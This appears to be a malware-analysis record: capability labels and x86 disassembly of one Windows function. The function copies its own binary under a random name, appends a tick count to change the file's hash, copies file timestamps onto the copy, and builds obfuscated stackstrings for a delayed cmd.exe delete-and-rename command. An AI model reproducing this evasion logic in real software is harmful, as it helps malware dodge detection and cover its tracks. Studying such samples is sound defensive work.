Function at 0x4040b7
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Get file size
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1328
call fcn.00405ab0
push ebx
push esi
push edi
mov edi, 0x208
lea eax, [ebp - 0x718]
push edi
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x510]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x510]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
call sub.MSVCRT.dll_rand
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x510]
push str._s_08X
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x24
lea eax, [ebp - 0x718]
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4041bf
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0xb8]
push esi
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
push esi
push 0x80
push 2
push esi
push 3
lea eax, [ebp - 0x510]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4041c4
push dword [ebp - 8]
call fcn.00405a0a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
lea ecx, [ebp - 0xa8]
push esi
push ecx
push dword [ebp - 0xc]
push dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0xb0]
add eax, 0xfffffffc
push esi
push ecx
push eax
push dword [ebp - 4]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0xa8]
push esi
push eax
lea eax, [ebp - 0xac]
push 4
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
call fcn.00405a0a
push edi
lea eax, [ebp - 0xb28]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0xb28]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0xb28]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
push edi
lea eax, [ebp - 0x920]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0xb28]
push eax
lea eax, [ebp - 0x920]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x920]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x920]
push 0x407030
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x44
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edi, eax
mov eax, dword [ebp - 0x308]
and eax, 0x10
je 0x40430a
cmp eax, esi
je 0x4042f6
lea eax, [ebp - 0x2dc]
push 0x40702c
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x4042f6
lea eax, [ebp - 0x2dc]
push 0x407024
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x40430a
lea eax, [ebp - 0x308]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x404328
jmp 0x4042b9
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x2fc]
push eax
lea eax, [ebp - 0x304]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [ebp - 4]
call ebx
push 0x20
mov word [ebp - 0x10], 0x72
pop edx
mov word [ebp - 0xe], si
push 0x25
mov word [ebp - 0x38], 0x70
pop ecx
mov word [ebp - 0x36], 0x69
push 0x73
mov word [ebp - 0x34], 0x6e
pop eax
mov word [ebp - 0x32], 0x67
push 0x65
mov word [ebp - 0x30], dx
pop ebx
mov word [ebp - 0x2e], 0x31
push 0x22
mov word [ebp - 0x2c], 0x32
pop edi
mov word [ebp - 0x2a], 0x37
mov word [ebp - 0x28], 0x2e
mov word [ebp - 0x26], 0x30
mov word [ebp - 0x24], 0x2e
mov word [ebp - 0x22], 0x30
mov word [ebp - 0x20], 0x2e
mov word [ebp - 0x1e], 0x31
mov word [ebp - 0x1c], dx
mov word [ebp - 0x1a], 0x2d
mov word [ebp - 0x18], 0x6e
mov word [ebp - 0x16], dx
mov word [ebp - 0x14], 0x32
mov word [ebp - 0x12], si
mov word [ebp - 0xa4], 0x2f
mov word [ebp - 0xa2], 0x63
mov word [ebp - 0xa0], dx
mov word [ebp - 0x9e], cx
mov word [ebp - 0x9c], ax
mov word [ebp - 0x9a], 0x26
mov word [ebp - 0x98], 0x64
mov word [ebp - 0x96], bx
mov word [ebp - 0x94], 0x6c
mov word [ebp - 0x92], dx
mov word [ebp - 0x90], di
mov word [ebp - 0x8e], cx
mov word [ebp - 0x8c], ax
mov word [ebp - 0x8a], di
mov word [ebp - 0x88], 0x26
mov word [ebp - 0x86], cx
mov word [ebp - 0x84], ax
mov word [ebp - 0x82], 0x26
mov word [ebp - 0x80], 0x72
mov word [ebp - 0x7e], bx
mov word [ebp - 0x7c], 0x6e
mov word [ebp - 0x7a], 0x61
mov word [ebp - 0x78], 0x6d
mov word [ebp - 0x76], bx
mov word [ebp - 0x74], dx
mov word [ebp - 0x72], di
mov word [ebp - 0x70], cx
mov word [ebp - 0x6e], ax
mov word [ebp - 0x6c], di
mov word [ebp - 0x6a], dx
mov word [ebp - 0x68], cx
mov word [ebp - 0x66], ax
mov word [ebp - 0x64], 0x26
mov word [ebp - 0x62], cx
mov word [ebp - 0x60], ax
mov word [ebp - 0x5e], 0x26
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], cx
mov word [ebp - 0x58], ax
mov word [ebp - 0x56], di
mov word [ebp - 0x54], dx
mov word [ebp - 0x52], 0x5c
mov word [ebp - 0x50], cx
mov word [ebp - 0x4e], ax
mov word [ebp - 0x4c], si
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x718]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x1328]
push eax
call sub.MSVCRT.dll_swprintf
push esi
lea eax, [ebp - 0x1328]
push esi
push eax
lea eax, [ebp - 0x48]
mov word [ebp - 0x48], 0x63
push eax
push esi
push esi
mov word [ebp - 0x46], 0x6d
mov word [ebp - 0x44], 0x64
mov word [ebp - 0x42], 0x2e
mov word [ebp - 0x40], bx
mov word [ebp - 0x3e], 0x78
mov word [ebp - 0x3c], bx
mov word [ebp - 0x3a], si
call fcn.00402e69
add esp, 0x40
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]